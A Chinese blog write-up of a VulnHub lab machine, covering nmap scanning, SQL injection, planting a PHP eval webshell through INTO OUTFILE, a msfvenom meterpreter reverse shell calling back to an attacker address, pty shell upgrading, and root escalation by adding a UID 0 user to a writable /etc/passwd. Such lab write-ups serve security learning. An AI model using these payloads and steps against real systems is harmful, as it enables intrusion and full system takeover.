提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
目录
前言
一、nmap收集
二、上传并获取shell
?三、提权
总结
前言
提示:这里可以添加本文要记录的大概内容:
国庆放假有点颓,去vulnhub下了个靶机玩玩。
提示:以下是本篇文章正文内容,下面案例可供参考
一、nmap收集
装好了靶机后,一如既往的不知道密码,要通过漏洞等入侵提权找到flag,先用nmap扫描一波吧。
nmap -A -v -sn 192.168.23.0/24

?显示靶机开放了80端口,linux系统,并且有robots.txt中提示有两个目录,直接访问两个/m3diNf0/、/se3reTdir777/uploads/目录发现都是403,猜测/se3reTdir777/uploads/应该是可以进行文件上传的,再访问了/se3reTdir777/目录,发现可以进行查询。

尝试了下sql注入,发现可以进行注入,union联合注入和报错注入都可以,可以直接上sqlmap。
?再对网站的目录进行扫描一波,看看有没有什么发现。

?发现还有个info.php,访问看看,显示的是phpinfo();并且里面显示了网站的绝对路径为/home/www/html/web1x443290o2sdf92213/。

?
二、上传并获取shell


爆出了两个表systemUser和User表,systemUser表中的password用的base64加密,解密后是?FakeUserPassw0rd、MyEvilPass_f908sdaf9_sa、N0tThis0neAls0,但是好像没啥用。前面目录中存在uploads,应该可以进行文件上传获取shell。
?感觉直接使用sqlmap的--file-write和--file-dest,或者直接手动进行上传都可以,能上传的地方应该是/se3reTdir777/uploads/,原理可以是通过into outfile将内容导入某个文件或Lines terminated by或Lines starting by语句将语句拼接到文件的终止位或起始位。当然要某些配置开启才可以。
-
secure_file_priv="c:/…"被注释掉或者是web路径 -
php.ini中的get_magic_quotes_gpc()函数未开启 其中secure_file_priv有三种情况
- 空,表示导入导出没有任何限制
- 有指定路径,比如("c:/xxx/xxx"):只能向指定路径导入导出文件
- null,禁止导入导出
在进行写入websell时,要注意参数secure_file_priv是否有指定路径或者是否为null。最好要获得root权限。
-1' union select 1,2,'<?php @eval($_POST[123]);?>' into outfile "/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/a.php"#
?或者通过sqlmap直接传也可以。

上传成功后,直接利用蚁剑进行连接,连接成功,为了更好的利用,利用metasploit再生成一个PHP后门,直接生成linux后门被权限限制了,所以生成PHP后门然后利用python反弹交互式shell。
msfvenom -p ?php/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.23.128 -f? raw>/root/shell.php,然后通蚁剑上传到目录,运行PHP文件,反弹shell成功。
?
但是此时的shell不是交互式的,很多命令都运行不了,因为缺少了前后文环境,利用python生成虚拟终端。
?python -c 'import pty; pty.spawn("/bin/bash")'

?pty(伪终端,虚拟终端):但是如果我们远程telnet到主机或使用xterm时不也需要一个终端交互么?是的,这就是虚拟终端pty(pseudo-tty).
pty.spawn('bin/bash')产生一个进程,并将其控制终端连接到bin/bash
?三、提权
获取到了终端后用户权限是www-data,权限比较低,需要提升权限,最好提升到root。
查看能否利用SUID的文件或者命令提权。
find / -user root -perm -4000 -exec ls -l {} \; 查找系统上SUID权限的文件

?会不会存在pkexec提权漏洞,但是好像并不行,于是查看了下/etc/passwd文件,发现可以编辑,于是尝试增加写入一个root权限的用户。
?先对密码进行openssl加密

-1表示使用md5加密,-salt表示自定义盐,生成一个hacker用户,密码为123456
?
生成一个hacker用户,可登录,UID属于0,root级别权限,使用shell为bin/bash,一般用户的密码用加密方式存放于/etc/shadow文件中。
文件规则:用户名:密码:用户ID(UID):组ID(GID):用户ID信息:主目录:shell
最后通过find命令查找得到flag。
?
总结
花了挺多的时间,因为靶机sql注入那里无端端岩机了,没发现,使用sqlmap写入文件获取shell的时候一直显示404Not found,利用wireshark也显示了404Not Found,自己挺郁闷的,最后重启了靶机才成功,这次也是重复搞了下sqlmap的一些使用,毕竟忘的差不多了。
|